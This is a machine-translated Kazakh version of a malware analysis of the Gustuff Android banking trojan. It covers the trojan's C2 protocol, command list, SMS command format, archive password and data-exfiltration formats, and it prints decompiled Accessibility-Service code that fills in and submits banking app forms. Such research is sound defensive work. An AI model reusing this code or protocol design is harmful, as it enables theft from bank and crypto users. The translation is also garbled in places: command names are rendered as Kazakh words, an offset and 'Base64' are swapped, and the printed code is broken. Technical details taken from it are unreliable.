Android трояндық Gustuff сіздің тіркелгілеріңізден кремді (fiat және крипто) қалай алып тастайды

Android трояндық Gustuff сіздің тіркелгілеріңізден кремді (fiat және крипто) қалай алып тастайды

Өткенде ғана Group-IB деп хабарлады мобильді Android Trojan Gustuff қызметі туралы. Ол тек халықаралық нарықтарда жұмыс істейді, 100 ірі шетелдік банктердің клиенттеріне, мобильді 32 криптовалюта әмияндарының пайдаланушыларына, сондай-ақ ірі электрондық коммерция ресурстарына шабуыл жасайды. Бірақ Gustuff әзірлеушісі Bestoffer лақап атымен орыстілді киберқылмыскер. Соңғы уақытқа дейін ол өзінің троянын «білімі мен тәжірибесі бар адамдар үшін маңызды өнім» деп мақтады.

Group-IB компаниясының зиянды кодтарды талдау жөніндегі маманы Иван Писарев өз зерттеулерінде ол Gustuff қалай жұмыс істейтіні және оның қауіп-қатері туралы егжей-тегжейлі әңгімелейді.

Густуф кімге аң аулайды?

Gustuff толық автоматтандырылған функциялары бар зиянды бағдарламалардың жаңа буынына жатады. Әзірлеушінің айтуынша, троян AndyBot зиянды бағдарламасының жаңа және жетілдірілген нұсқасы болды, ол 2017 жылдың қараша айынан бастап Android телефондарына шабуыл жасап, белгілі халықаралық банктер мен төлем жүйелерінің мобильді қосымшалары ретінде маскирленген фишингтік веб-формалар арқылы ақша ұрлайды. Bestoffer Gustuff Bot жалдау бағасы айына 800 долларды құрайтынын хабарлады.

Gustuff үлгісінің талдауы троянның Bank of America, Bank of Scotland, JPMorgan, Wells Fargo, Capital One, TD Bank, PNC Bank, сондай-ақ криптовалюта әмияндары сияқты ірі банктердің мобильді қосымшаларын пайдаланатын тұтынушыларға бағытталғанын көрсетті. Bitcoin Wallet, BitPay, Cryptopay, Coinbase және т.б.

Бастапқыда классикалық банктік троян ретінде жасалған, қазіргі нұсқада Gustuff шабуылдың ықтимал нысандарының тізімін айтарлықтай кеңейтті. Банктерге, финтех компанияларына және криптографиялық қызметтерге арналған Android қосымшаларынан басқа, Gustuff нарықтық қосымшаларды, интернет-дүкендерді, төлем жүйелерін және жедел хабаршыларды пайдаланушыларға бағытталған. Атап айтқанда, PayPal, Western Union, eBay, Walmart, Skype, WhatsApp, Gett Taxi, Revolut және т.б.

Кіру нүктесі: жаппай инфекцияны есептеу

Gustuff Android смартфондарына APK сілтемелері бар SMS жіберу арқылы енудің «классикалық» векторымен сипатталады. Сервер пәрмені бойынша Android құрылғысына троян жұқтырылған кезде, Gustuff одан әрі вирус жұққан телефонның байланыс дерекқоры немесе сервер дерекқоры арқылы таралуы мүмкін. Gustuff функционалдығы жаппай жұқтыруға және оның операторларының бизнесін максималды капиталдандыруға арналған - оның заңды мобильді банкинг қосымшалары мен крипто әмияндарға бірегей «автоматты толтыру» функциясы бар, ол ақша ұрлауды тездетуге және масштабтауға мүмкіндік береді.

Троянды зерттеу оған автотолтыру функциясы мүмкіндігі шектеулі адамдарға арналған қызмет – Accessibility Service арқылы жүзеге асырылғанын көрсетті. Gustuff осы Android қызметін пайдаланатын басқа қолданбалардың терезе элементтерімен өзара әрекеттесуден қорғауды сәтті айналып өткен бірінші троян емес. Дегенмен, қол жетімділік қызметін автокөлік толтырғышымен бірге пайдалану әлі де сирек кездеседі.

Жәбірленушінің телефонына жүктеп алғаннан кейін Gustuff Арнайы мүмкіндіктер қызметін пайдалана отырып, шабуылдаушыларға қажетті әрекеттерді орындай отырып, басқа қолданбалардың терезе элементтерімен (банк, криптовалюта, сондай-ақ онлайн-саудаға, хабар алмасуға және т.б.) өзара әрекеттесе алады. . Мысалы, сервер пәрмені бойынша троян түймелерді басып, банктік қосымшалардағы мәтіндік өрістердің мәндерін өзгерте алады. Арнайы мүмкіндіктер қызметі механизмін пайдалану троянға алдыңғы буын мобильді трояндарына қарсы тұру үшін банктер пайдаланатын қауіпсіздік механизмдерін, сондай-ақ Android ОЖ жаңа нұсқаларында Google енгізген қауіпсіздік саясатындағы өзгерістерді айналып өтуге мүмкіндік береді. Осылайша, Gustuff Google Protect қорғанысын өшіруді «қалай біледі»: автордың айтуынша, бұл функция 70% жағдайда жұмыс істейді.

Android трояндық Gustuff сіздің тіркелгілеріңізден кремді (fiat және крипто) қалай алып тастайды

Gustuff сонымен қатар заңды мобильді қосымшалардың белгішелері бар жалған PUSH хабарландыруларын көрсете алады. Пайдаланушы PUSH хабарландыруын шертеді және серверден жүктелген фишинг терезесін көреді, онда ол сұралған банк картасын немесе крипто әмиян деректерін енгізеді. Басқа Gustuff сценарийінде атынан PUSH хабарландыруы көрсетілген қолданба ашылады. Бұл жағдайда зиянды бағдарлама Арнайы мүмкіндіктер қызметі арқылы серверден алынған пәрмен бойынша жалған транзакция үшін банктік қосымшаның пішін өрістерін толтыра алады.

Gustuff функциясы сонымен қатар вирус жұққан құрылғы туралы ақпаратты серверге жіберу, SMS хабарламаларды оқу/жіберу, USSD сұрауларын жіберу, SOCKS5 проксиін іске қосу, сілтеме бойынша өту, файлдарды (соның ішінде құжаттардың фото сканерлеуін, скриншоттарды, фотосуреттерді) жіберуді қамтиды. серверінде құрылғыны зауыттық параметрлерге қайтарыңыз.

Зиянды бағдарламаны талдау

Зиянды қолданбаны орнатпас бұрын, Android ОЖ пайдаланушыға Gustuff сұраған құқықтар тізімі бар терезені көрсетеді:

Android трояндық Gustuff сіздің тіркелгілеріңізден кремді (fiat және крипто) қалай алып тастайды
Қолданба пайдаланушының келісімін алғаннан кейін ғана орнатылады. Бағдарламаны іске қосқаннан кейін троян пайдаланушыға терезені көрсетеді:

Android трояндық Gustuff сіздің тіркелгілеріңізден кремді (fiat және крипто) қалай алып тастайды
Осыдан кейін ол өзінің белгішесін жояды.

Gustuff, автордың айтуы бойынша, FTT компаниясының пакерімен оралған. Іске қосылғаннан кейін қолданба пәрмендерді алу үшін CnC серверіне мерзімді түрде хабарласады. Біз зерттеген бірнеше файлдар IP мекенжайын басқару сервері ретінде пайдаланды 88.99.171[.]105 (бұдан әрі деп белгілейміз <%CnC%>).

Іске қосылғаннан кейін бағдарлама серверге хабарламалар жіберуді бастайды http://<%CnC%>/api/v1/get.php.

Жауап келесі форматта JSON болады деп күтілуде:

{
    "results" : "OK",
    "command":{
        "id": "<%id%>",
        "command":"<%command%>",
        "timestamp":"<%Server Timestamp%>",
        "params":{
		<%Command parameters as JSON%>
        },
    },
}

Қолданбаға кірген сайын ол вирус жұққан құрылғы туралы ақпаратты жібереді. Хабарлама пішімі төменде көрсетілген. танаптарды атап өткен жөн толық, қосымша, бағдарламалар и рұқсат – міндетті емес және тек CnC-тен сұрау пәрмені болған жағдайда ғана жіберіледі.

{
    "info":
    {
        "info":
        {
            "cell":<%Sim operator name%>,
            "country":<%Country ISO%>,
            "imei":<%IMEI%>,
            "number":<%Phone number%>,
            "line1Number":<%Phone number%>,
            "advertisementId":<%ID%>
        },
        "state":
        {
            "admin":<%Has admin rights%>,
            "source":<%String%>,
            "needPermissions":<%Application needs permissions%>,
            "accesByName":<%Boolean%>,
            "accesByService":<%Boolean%>,
            "safetyNet":<%String%>,
            "defaultSmsApp":<%Default Sms Application%>,
            "isDefaultSmsApp":<%Current application is Default Sms Application%>,
            "dateTime":<%Current date time%>,
            "batteryLevel":<%Battery level%>
        },
        "socks":
        {
            "id":<%Proxy module ID%>,
            "enabled":<%Is enabled%>,
            "active":<%Is active%>
        },
        "version":
        {
            "versionName":<%Package Version Name%>,
            "versionCode":<%Package Version Code%>,
            "lastUpdateTime":<%Package Last Update Time%>,
            "tag":<%Tag, default value: "TAG"%>,
            "targetSdkVersion":<%Target Sdk Version%>,
            "buildConfigTimestamp":1541309066721
        },
    },
    "full":
    {
        "model":<%Device Model%>,
        "localeCountry":<%Country%>,
        "localeLang":<%Locale language%>,
        "accounts":<%JSON array, contains from "name" and "type" of accounts%>,
        "lockType":<%Type of lockscreen password%>
    },
    "extra":
    {
        "serial":<%Build serial number%>,
        "board":<%Build Board%>,
        "brand":<%Build Brand%>,
        "user":<%Build User%>,
        "device":<%Build Device%>,
        "display":<%Build Display%>,
        "id":<%Build ID%>,
        "manufacturer":<%Build manufacturer%>,
        "model":<%Build model%>,
        "product":<%Build product%>,
        "tags":<%Build tags%>,
        "type":<%Build type%>,
        "imei":<%imei%>,
        "imsi":<%imsi%>,
        "line1number":<%phonenumber%>,
        "iccid":<%Sim serial number%>,
        "mcc":<%Mobile country code of operator%>,
        "mnc":<%Mobile network codeof operator%>,
        "cellid":<%GSM-data%>,
        "lac":<%GSM-data%>,
        "androidid":<%Android Id%>,
        "ssid":<%Wi-Fi SSID%>
    },
    "apps":{<%List of installed applications%>},
    "permission":<%List of granted permissions%>
} 

Конфигурация деректерін сақтау

Gustuff операциялық маңызды ақпаратты таңдаулы файлда сақтайды. Файл атауы, сондай-ақ ондағы параметрлердің атаулары жолдан MD5 сомасын есептеудің нәтижесі болып табылады. 15413090667214.6.1<%name%>қайда <%name%> — бастапқы атау-мән. Атау генерациялау функциясының Python интерпретациясы:

 nameGenerator(input):
    output = md5("15413090667214.6.1" + input) 

Келесіде біз оны деп белгілейміз nameGenerator(енгізу).
Сонымен, бірінші файл атауы: nameGenerator("API_SERVER_LIST"), ол келесі атаулары бар мәндерді қамтиды:

Айнымалы атауы құн
nameGenerator("API_SERVER_LIST") Жиым түріндегі CnC мекенжайларының тізімін қамтиды.
nameGenerator("API_SERVER_URL") Құрамында CnC мекенжайы бар.
nameGenerator("SMS_UPLOAD") Жалау әдепкі бойынша орнатылады. Жалау орнатылған болса, CnC-ге SMS хабарламалар жібереді.
nameGenerator("SMS_ROOT_NUMBER") Вирус жұққан құрылғы алған SMS хабарламалар жіберілетін телефон нөмірі. Әдепкі нөл.
nameGenerator("SMS_ROOT_NUMBER_RESEND") Жалауша әдепкі бойынша тазаланады. Орнатылған болса, вирус жұққан құрылғы SMS алған кезде ол түбірлік нөмірге жіберіледі.
nameGenerator("DEFAULT_APP_SMS") Жалауша әдепкі бойынша тазаланады. Бұл жалауша орнатылған болса, қолданба кіріс SMS хабарламаларын өңдейді.
nameGenerator("DEFAULT_ADMIN") Жалауша әдепкі бойынша тазаланады. Жалау орнатылса, қолданбада әкімші құқықтары болады.
nameGenerator("DEFAULT_ACCESSIBILITY") Жалауша әдепкі бойынша тазаланады. Жалау орнатылса, Арнайы мүмкіндіктер қызметін пайдаланатын қызмет іске қосылады.
nameGenerator("APPS_CONFIG") Арнайы қолданбамен байланысты Арнайы мүмкіндіктер оқиғасы іске қосылғанда орындалуы қажет әрекеттер тізімін қамтитын JSON нысаны.
nameGenerator("APPS_INSTALLED") Құрылғыда орнатылған қолданбалардың тізімін сақтайды.
nameGenerator("IS_FIST_RUN") Бірінші іске қосу кезінде жалауша қалпына келтіріледі.
nameGenerator("UNIQUE_ID") Бірегей идентификаторды қамтиды. Бот бірінші рет іске қосылғанда жасалады.

Серверден пәрмендерді өңдеуге арналған модуль

Қолданба CnC серверлерінің мекенжайларын кодталған массив түрінде сақтайды Негізі85 сызықтар. CnC серверлерінің тізімін тиісті пәрменді алғаннан кейін өзгертуге болады, бұл жағдайда мекенжайлар таңдаулы файлда сақталады.

Сұранысқа жауап ретінде сервер қолданбаға пәрмен жібереді. Пәрмендер мен параметрлер JSON пішімінде ұсынылғанын атап өткен жөн. Қолданба келесі пәрмендерді өңдей алады:

команда сипаттамасы
алға бастау Вирус жұққан құрылғы алған SMS хабарламаларды CnC серверіне жіберуді бастаңыз.
алға аялдама Вирус жұққан құрылғы CnC серверіне алған SMS хабарламаларын жіберуді тоқтатыңыз.
ussdRun USSD сұрауын орындау. USSD сұрауын жасау қажет нөмір JSON өрісінде «нөмір» орналасқан.
SMS жіберу Бір SMS хабарлама жіберіңіз (қажет болса, хабарлама бөліктерге бөлінеді). Параметр ретінде пәрмен «to» өрістерін қамтитын JSON нысанын алады - тағайындау нөмірі және «дене» - хабарламаның негізгі бөлігі.
sendSmsAb Вирус жұқтырған құрылғының контактілер тізіміндегі барлығына SMS хабарламаларын жіберіңіз (қажет болса, хабарлама бөліктерге бөлінеді). Хабарламаларды жіберу арасындағы аралық 10 секунд. Хабардың негізгі бөлігі JSON өрісіндегі "дене"
sendSmsMas Пәрмен параметрлерінде көрсетілген контактілерге SMS хабарламаларын жіберіңіз (қажет болса, хабарлама бөліктерге бөлінеді). Хабарламаларды жіберу арасындағы аралық 10 секунд. Параметр ретінде пәрмен JSON массивін («sms» өрісі) алады, оның элементтері «to» - тағайындалған нөмір және «дене» - хабарламаның негізгі өрістерін қамтиды.
өзгерту сервері Бұл пәрмен параметр ретінде «url» кілті бар мәнді қабылдай алады - содан кейін бот nameGenerator («SERVER_URL») немесе «массив» мәнін өзгертеді - содан кейін бот массивді nameGenerator («API_SERVER_LIST») деп жазады. Осылайша, қолданба CnC серверлерінің мекенжайын өзгертеді.
әкімші нөмірі Пәрмен түбірлік санмен жұмыс істеуге арналған. Пәрмен келесі параметрлері бар JSON нысанын қабылдайды: “number” — nameGenerator(“ROOT_NUMBER”) қабылданған мәнге өзгерту, “қайта жіберу” — өзгерту nameGenerator(“SMS_ROOT_NUMBER_RESEND”), “sendId” — nameGenerator(“ROOT_NUMBER”) жіберу ) бірегей идентификатор.
updateInfo Вирус жұққан құрылғы туралы ақпаратты серверге жіберіңіз.
мәліметтерді жою Пәрмен пайдаланушы деректерін жоюға арналған. Қолданбаның қандай атауға байланысты іске қосылғанына байланысты, деректер құрылғыны қайта жүктеу арқылы толығымен жойылады (негізгі пайдаланушы) немесе тек пайдаланушы деректері жойылады (қосымша пайдаланушы).
шұлықтарБастау Прокси модулін іске қосыңыз. Модульдің жұмысы бөлек тарауда сипатталған.
socksStop Прокси модулін тоқтатыңыз.
openLink Сілтемені орындаңыз. Сілтеме JSON параметрінде «url» пернесі астында орналасқан. Сілтемені ашу үшін “android.intent.action.VIEW” пайдаланылады.
AllSms Құрылғы алған барлық SMS хабарламаларын серверге жіберіңіз.
AllPhotos Вирус жұққан құрылғыдан URL мекенжайына кескіндерді жіберіңіз. URL мекенжайы параметр ретінде келеді.
жүктеп салу файлы Вирус жұққан құрылғыдан файлды URL мекенжайына жіберіңіз. URL мекенжайы параметр ретінде келеді.
Телефон нөмірлерін жүктеп салу Серверге контактілер тізімінен телефон нөмірлерін жіберіңіз. Егер «ab» пернесі бар JSON нысан мәні параметр ретінде қабылданса, қолданба телефон кітапшасынан контактілер тізімін алады. Егер параметр ретінде «sms» кілті бар JSON нысаны алынса, қолданба SMS хабарламаларын жіберушілерден контактілер тізімін оқиды.
Мұрағатты өзгерту Қолданба файлды «url» пернесін пайдаланып параметр ретінде келетін мекенжайдан жүктейді. Жүктелген файл «archive.zip» атымен сақталады. Содан кейін қолданба файлды «b5jXh37gxgHBrZhQ4j3D» мұрағаттық құпия сөзін қолданып ашады. Сақталған файлдар [сыртқы жад]/hgps каталогында сақталады. Бұл каталогта қолданба веб-файктерді сақтайды (төменде сипатталған).
іс-шаралар Пәрмен бөлек бөлімде сипатталған Action Service қызметімен жұмыс істеуге арналған.
сынақ Ештеңе жасамайды.
жүктеу Пәрмен файлды қашықтағы серверден жүктеп алуға және оны «Жүктеулер» каталогына сақтауға арналған. URL және файл атауы сәйкесінше JSON параметрінің нысанындағы параметр, өрістер ретінде келеді: “url” және “fileName”.
кетіру «Жүктеулер» каталогынан файлды жояды. Файл атауы JSON параметрінде “fileName” пернесі арқылы келеді. Стандартты файл атауы – “tmp.apk”.
хабарландыру Басқару сервері анықтаған сипаттама және тақырып мәтіндері бар хабарландыруды көрсетіңіз.

Пәрмен пішімі хабарландыру:

{
    "results" : "OK",
    "command":{
    "id": <%id%>,
    "command":"notification",
    "timestamp":<%Server Timestamp%>,
    "params":{
        "openApp":<%Open original app or not%>,
        "array":[
                      {"title":<%Title text%>,
                      "desc":<%Description text%>,
                      "app":<%Application name%>}
                   ]
                   },
        },
}

Тергеудегі файл арқылы жасалған хабарландыру өрісте көрсетілген қолданба арқылы жасалған хабарландырулармен бірдей көрінеді қолданба. Егер өріс мәні болса OpenApp — Рас, хабарландыру ашылғанда, өрісте көрсетілген қолданба іске қосылады қолданба. Егер өріс мәні болса OpenApp — Жалған, сонда:

  • Фишинг терезесі ашылады, оның мазмұны каталогтан жүктеледі <%сыртқы жад%>/hgps/<%файл аты%>
  • Фишинг терезесі ашылады, оның мазмұны серверден жүктеледі <%url%>?id=<%Bot id%>&app=<%Қолданба атауы%>
  • Карта мәліметтерін енгізу мүмкіндігі бар Google Play картасы ретінде жасырылған фишинг терезесі ашылады.

Қолданба кез келген пәрменнің нәтижесін жібереді <%CnC%>set_state.php JSON нысаны ретінде келесі форматта:

{
    "command":
    {
        "command":<%command%>,
        "id":<%command_id%>,
        "state":<%command_state%>
    }
    "id":<%bot_id%>
}

ActionsService
Қолданба процестері қамтитын пәрмендер тізімі іс-шаралар. Пәрмен қабылданған кезде пәрменді өңдеу модулі кеңейтілген пәрменді орындау үшін осы қызметке қатынасады. Қызмет JSON нысанын параметр ретінде қабылдайды. Қызмет келесі пәрмендерді орындай алады:

1. PARAMS_ACTION — мұндай пәрменді алған кезде қызмет алдымен JSON параметрінен Type кілтінің мәнін алады, ол келесідей болуы мүмкін:

  • қызмет туралы ақпарат – ішкі пәрмен JSON параметрінен кілт бойынша мәнді алады қосуМаңызды емес. Жалау True болса, бағдарлама жалаушаны орнатады FLAG_ISOLATED_PROCESS Арнайы мүмкіндіктер қызметін пайдаланатын қызметке. Осылайша қызмет бөлек процесте іске қосылады.
  • түбір — қазіргі уақытта фокуста тұрған терезе туралы ақпаратты қабылдау және серверге жіберу. Бағдарлама AccessibilityNodeInfo сыныбы арқылы ақпаратты алады.
  • Admin — әкімші құқықтарын сұрау.
  • кешіктіру — «деректер» кілтінің параметрінде көрсетілген миллисекундтар санына ActionsService қызметін тоқтата тұру.
  • Windows — пайдаланушыға көрінетін терезелер тізімін жіберу.
  • орнату — қолданбаны вирус жұққан құрылғыға орнатыңыз. Мұрағат бумасының атауы «fileName» кілтінде болады. Мұрағаттың өзі Жүктеулер каталогында орналасқан.
  • ғаламдық – ішкі пәрмен ағымдағы терезеден шарлауға арналған:
    • Жылдам параметрлер мәзірінде
    • артқа қарай
    • үй
    • хабарландыруларға
    • жақында ашылған қолданбалар терезесіне

  • Іске қосу - қолданбаны іске қосыңыз. Қолданба атауы перне арқылы параметр ретінде келеді мәліметтер.
  • дыбыстар — дыбыс режимін үнсіздікке өзгерту.
  • ашу — экранның және пернетақтаның артқы жарығын толық жарықтыққа қосады. Қолданба [Application lable]:INFO жолын тег ретінде көрсете отырып, WakeLock арқылы осы әрекетті орындайды.
  • permissionOverlay — функция орындалмаған (пәрменді орындауға жауап: {"message":"Not support"} немесе {"message":"low sdk"})
  • қимыл — функция орындалмаған (пәрменді орындауға жауап: {"message":"Not support"}немесе {"message":"Low API"})
  • рұқсаттар — бұл пәрмен қолданбаға рұқсаттарды сұрау үшін қажет. Дегенмен, сұрау функциясы орындалмаған, сондықтан пәрмен мағынасыз. Сұралған құқықтар тізімі «рұқсаттар» пернесі бар JSON массиві ретінде келеді. Стандартты тізім:
    • android.permission.READ_PHONE_STATE
    • android.permission.READ_CONTACTS
    • android.permission.CALL_PHONE
    • android.permission.RECEIVE_SMS
    • android.permission.SEND_SMS
    • android.permission.READ_SMS
    • android.permission.READ_EXTERNAL_STORAGE
    • android.permission.WRITE_EXTERNAL_STORAGE

  • ашық — фишинг терезесін көрсету. Серверден келетін параметрге байланысты қолданба келесі фишинг терезелерін көрсетуі мүмкін:
    • Мазмұны каталогтағы файлда жазылған фишинг терезесін көрсетіңіз <%сыртқы каталог%>/hgps/<%param_filename%>. Пайдаланушының тереземен әрекеттесу нәтижесі келесіге жіберіледі <%CnC%>/records.php
    • Мазмұны мекенжайдан алдын ала жүктелген фишинг терезесін көрсетіңіз <%url_param%>?id=<%bot_id%>&app=<%packagename%>. Пайдаланушының тереземен әрекеттесу нәтижесі келесіге жіберіледі <%CnC%>/records.php
    • Google Play картасы ретінде жасырылған фишинг терезесін көрсетіңіз.

  • диалогтық — команда AcessibilityService көмегімен басқа қолданбалардың терезе элементтерімен әрекеттесу үшін жасалған. Өзара әрекеттесу бағдарламасында арнайы қызмет енгізілді. Тергеудегі қолданба терезелермен әрекеттесе алады:
    • Қазіргі уақытта белсенді. Бұл жағдайда параметрде өзара әрекеттесу қажет нысанның идентификаторы немесе мәтіні (аты) болады.
    • Пәрмен орындалған кезде пайдаланушыға көрінеді. Қолданба терезелерді идентификатор бойынша таңдайды.

    Объектілерді алу AccessibilityNodeInfo Қызықтыратын терезе элементтері үшін қолданба параметрлерге байланысты келесі әрекеттерді орындай алады:

    • фокус — нысанға фокус орнату.
    • басыңыз — нысанды басыңыз.
    • actionId — ID арқылы әрекетті орындау.
    • setText — нысанның мәтінін өзгерту. Мәтінді өзгерту екі жолмен мүмкін: әрекетті орындау ACTION_SET_TEXT (егер вирус жұққан құрылғының Android нұсқасы одан кіші немесе оған тең болса LOLLIPOP) немесе жолды алмасу буферіне қойып, оны нысанға қою арқылы (ескі нұсқалар үшін). Бұл пәрменді банктік қолданбадағы деректерді өзгерту үшін пайдалануға болады.

2. PARAMS_ACTIONS - бірдей PARAMS_ACTION, тек JSON пәрмендер жиымы келеді.

Басқа қолданбаның терезе элементтерімен әрекеттесу функциясының қандай болатыны көптеген адамдарды қызықтыратын сияқты. Бұл функция Gustuff-те осылай жүзеге асырылады:

boolean interactiveAction(List aiList, JSONObject action, JsonObject res) {
    int count = action.optInt("repeat", 1);
    Iterator aiListIterator = ((Iterable)aiList).iterator();
    int count = 0;
    while(aiListIterator.hasNext()) {
        Object ani = aiListIterator.next();
        if(1 <= count) {
            int index;
            for(index = 1; true; ++index) {
                if(action.has("focus")) {
                    if(((AccessibilityNodeInfo)ani).performAction(1)) {
                        ++count;
                    }
                }
                else if(action.has("click")) {
                    if(((AccessibilityNodeInfo)ani).performAction(16)) {
                        ++count;
                    }
                }
                else if(action.has("actionId")) {
                    if(((AccessibilityNodeInfo)ani).performAction(action.optInt("actionId"))) {
                        ++count;
                    }
                }
                else if(action.has("setText")) {
                    customHeader ch = CustomAccessibilityService.a;
                    Context context = this.getApplicationContext();
                    String text = action.optString("setText");
                    if(performSetTextAction(ch, context, ((AccessibilityNodeInfo)ani), text)) {
                        ++count;
                    }
                }
                if(index == count) {
                    break;
                }
            }
        }
        ((AccessibilityNodeInfo)ani).recycle();
    }
    res.addPropertyNumber("res", Integer.valueOf(count));
}

Мәтінді ауыстыру функциясы:

boolean performSetTextAction(Context context, AccessibilityNodeInfo ani, String text) {
    boolean result;
    if(Build$VERSION.SDK_INT >= 21) {
        Bundle b = new Bundle();
        b.putCharSequence("ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE", ((CharSequence)text));
        result = ani.performAction(0x200000, b);  // ACTION_SET_TEXT
    }
    else {
        Object clipboard = context.getSystemService("clipboard");
        if(clipboard != null) {
        ((ClipboardManager)clipboard).setPrimaryClip(ClipData.newPlainText("autofill_pm", ((CharSequence)text)));
        result = ani.performAction(0x8000);  // ACTION_PASTE
        }
        else {
            result = false;
        }
    }
    return result;
}

Осылайша, басқару серверінің дұрыс конфигурациясымен Gustuff банктік қосымшадағы мәтіндік өрістерді толтыра алады және транзакцияны аяқтау үшін қажетті түймелерді баса алады. Троянға қолданбаға кірудің де қажеті жоқ — PUSH хабарландыруын көрсету үшін пәрменді жіберу, содан кейін бұрын орнатылған банк қосымшасын ашу жеткілікті. Пайдаланушы өзін аутентификациялайды, содан кейін Gustuff көлікті толтыра алады.

SMS хабарламаларды өңдеу модулі

Бағдарлама SMS хабарламаларын қабылдау үшін вирус жұққан құрылғыға оқиға өңдегішін орнатады. Зерттелетін қосымша оператордан SMS хабарлама мәтінінде келетін командаларды ала алады. Командалар келесі форматта келеді:

7!5=<%Base64 кодталған пәрмені%>

Қолданба барлық кіріс SMS хабарламаларында жолды іздейді 7!5=, жол анықталған кезде, ол 64-ші офсеттегі Base4 жолын декодтайды және пәрменді орындайды. Пәрмендер CnC бар командаларға ұқсас. Орындау нәтижесі пәрмен келген нөмірге жіберіледі. Жауап форматы:

7*5=<%Base64 «нәтиже_коды командасы»%> кодтауы

Қажет болса, қолданба барлық қабылданған хабарламаларды түбірлік нөмірге жібере алады. Ол үшін басым файлда түбір нөмірі көрсетіліп, хабарды қайта бағыттау жалаушасы орнатылуы керек. Шабуылдаушының нөміріне келесі форматта SMS хабарлама жіберіледі:

<%From number%> - <%Уақыт, пішімі: кк/АА/жжж СС:мм:сс%> <%SMS негізгі бөлігі%>

Сонымен қатар, қосымша CnC-ге хабарламалар жібере алады. SMS хабарлама серверге JSON пішімінде жіберіледі:

{
    "id":<%BotID%>,
    "sms":
    {
        "text":<%SMS body%>,
        "number":<%From number%>,
        "date":<%Timestamp%>
    }
}

Егер жалау орнатылса nameGenerator("DEFAULT_APP_SMS") – қолданба SMS хабарламасын өңдеуді тоқтатады және кіріс хабарламалар тізімін өшіреді.

Прокси модулі

Зерттелетін қолданбада конфигурациясы бар статикалық өрістерді қамтитын бөлек класы бар Backconnect прокси модулі (бұдан әрі - Прокси модулі) бар. Конфигурация деректері үлгіде анық пішінде сақталады:

Android трояндық Gustuff сіздің тіркелгілеріңізден кремді (fiat және крипто) қалай алып тастайды

Прокси модулі орындайтын барлық әрекеттер файлдарға тіркеледі. Мұны істеу үшін Сыртқы жадтағы қолданба журнал файлдары сақталатын «журналдар» (конфигурация сыныбындағы ProxyConfigClass.logsDir өрісі) каталогын жасайды. Тіркеу аттары бар файлдарда орын алады:

  1. main.txt – CommandServer деп аталатын класс жұмысы осы файлға енгізілген. Келесіде str жолын осы файлға енгізу mainLog(str) ретінде белгіленеді.
  2. сеанс-<%id%>.txt — бұл файл белгілі бір прокси сеансымен байланысты журнал деректерін сақтайды. Келесіде str жолын осы файлға енгізу sessionLog (str) ретінде белгіленеді.
  3. server.txt – бұл файл жоғарыда сипатталған файлдарға жазылған барлық деректерді тіркеу үшін пайдаланылады.

Журнал деректерінің пішімі:

<%Date%> [Тақырып[<%жіп идентификаторы%>], идентификатор[]]: журнал жолы

Прокси модулінің жұмысы кезінде орын алатын ерекшеліктер де файлға тіркеледі. Бұл әрекетті орындау үшін қолданба келесі пішімде JSON нысанын жасайды:

{
    "uncaughtException":<%short description of throwable%>
    "thread":<%thread%>
    "message":<%detail message of throwable%>
    "trace":        //Stack trace info
        [
            {
                "ClassName":
                "FileName":
                "LineNumber":
                "MethodName":
            },
            {
                "ClassName":
                "FileName":
                "LineNumber":
                "MethodName":
            }
        ]
}

Содан кейін ол оны жол көрінісіне түрлендіреді және оны журналға жазады.

Прокси модулі сәйкес пәрменді алғаннан кейін іске қосылады. Прокси модулін іске қосу пәрмені алынғанда, қолданба шақырылатын қызметті бастайды Негізгі қызмет, ол прокси модулінің жұмысын басқаруға жауапты - оны іске қосу және тоқтату.

Қызметті іске қосу кезеңдері:

1. Минутына бір рет жұмыс істейтін және прокси модулінің әрекетін тексеретін таймерді қосады. Егер модуль белсенді болмаса, ол оны бастайды.
Сондай-ақ оқиға іске қосылғанда android.net.conn.CONNECTIVITY_CHANGE Прокси модулі іске қосылды.

2. Қолданба параметрі бар ояту құлпын жасайды PARTIAL_WAKE_LOCK және оны ұстап алады. Бұл құрылғының процессорының ұйқы режиміне өтуіне жол бермейді.

3. Прокси модулінің пәрмендерді өңдеу класын іске қосады, алдымен жолды тіркейді mainLog («серверді бастау») и

Server::start() хост[<%proxy_cnc%>], commandPort[<%command_port%>], proxyPort[<%proxy_port%>]

қайда proxy_cnc, command_port және proxy_port – прокси сервер конфигурациясынан алынған параметрлер.

Командаларды өңдеу класы деп аталады CommandConnection. Іске қосылғаннан кейін бірден келесі әрекеттерді орындайды:

4. Қосылады ProxyConfigClass.host: ProxyConfigClass.commandPort және жұқтырған құрылғы туралы деректерді JSON пішімінде жібереді:

{
    "id":<%id%>,
    "imei":<%imei%>,
    "imsi":<%imsi%>,
    "model":<%model%>,
    "manufacturer":<%manufacturer%>,
    "androidVersion":<%androidVersion%>,
    "country":<%country%>,
    "partnerId":<%partnerId%>,
    "packageName":<%packageName%>,
    "networkType":<%networkType%>,
    "hasGsmSupport":<%hasGsmSupport%>,
    "simReady":<%simReady%>,
    "simCountry":<%simCountry%>,
    "networkOperator":<%networkOperator%>,
    "simOperator":<%simOperator%>,
    "version":<%version%>
}

мұндағы:

  • id – идентификатор, «x» деп аталатын ортақ басымдық файлынан «id» өрісі бар мәнді алуға тырысады. Бұл мәнді алу мүмкін болмаса, ол жаңасын жасайды. Осылайша, прокси модулінің Bot идентификаторына ұқсас түрде жасалған өз идентификаторы бар.
  • imei — құрылғының IMEI. Мәнді алу процесі кезінде қате орын алса, осы өрістің орнына қате туралы мәтіндік хабарлама жазылады.
  • imsi — Құрылғының халықаралық мобильді абоненттік идентификациясы. Мәнді алу процесі кезінде қате орын алса, осы өрістің орнына қате туралы мәтіндік хабарлама жазылады.
  • модель — Соңғы өнімнің соңғы пайдаланушыға көрінетін атауы.
  • өндіруші — Өнімді/аппараттық құралды өндіруші (Build.MANUFACTURER).
  • androidVersion - "<%release_version%> (<%os_version%>),<%sdk_version%>" пішіміндегі жол
  • ел — құрылғының ағымдағы орны.
  • partnerId - бос жол.
  • packageName – бума аты.
  • networkType — ағымдағы желі қосылымының түрі (мысалы: “WIFI”, “MOBILE”). Қате болған жағдайда нөлді қайтарады.
  • hasGsmSupport – шын – телефон GSM қолдаса, әйтпесе жалған.
  • simReady – SIM картасының күйі.
  • simCountry - ISO ел коды (SIM картасының провайдеріне негізделген).
  • networkOperator — оператордың аты. Мәнді алу процесі кезінде қате орын алса, осы өрістің орнына қате туралы мәтіндік хабарлама жазылады.
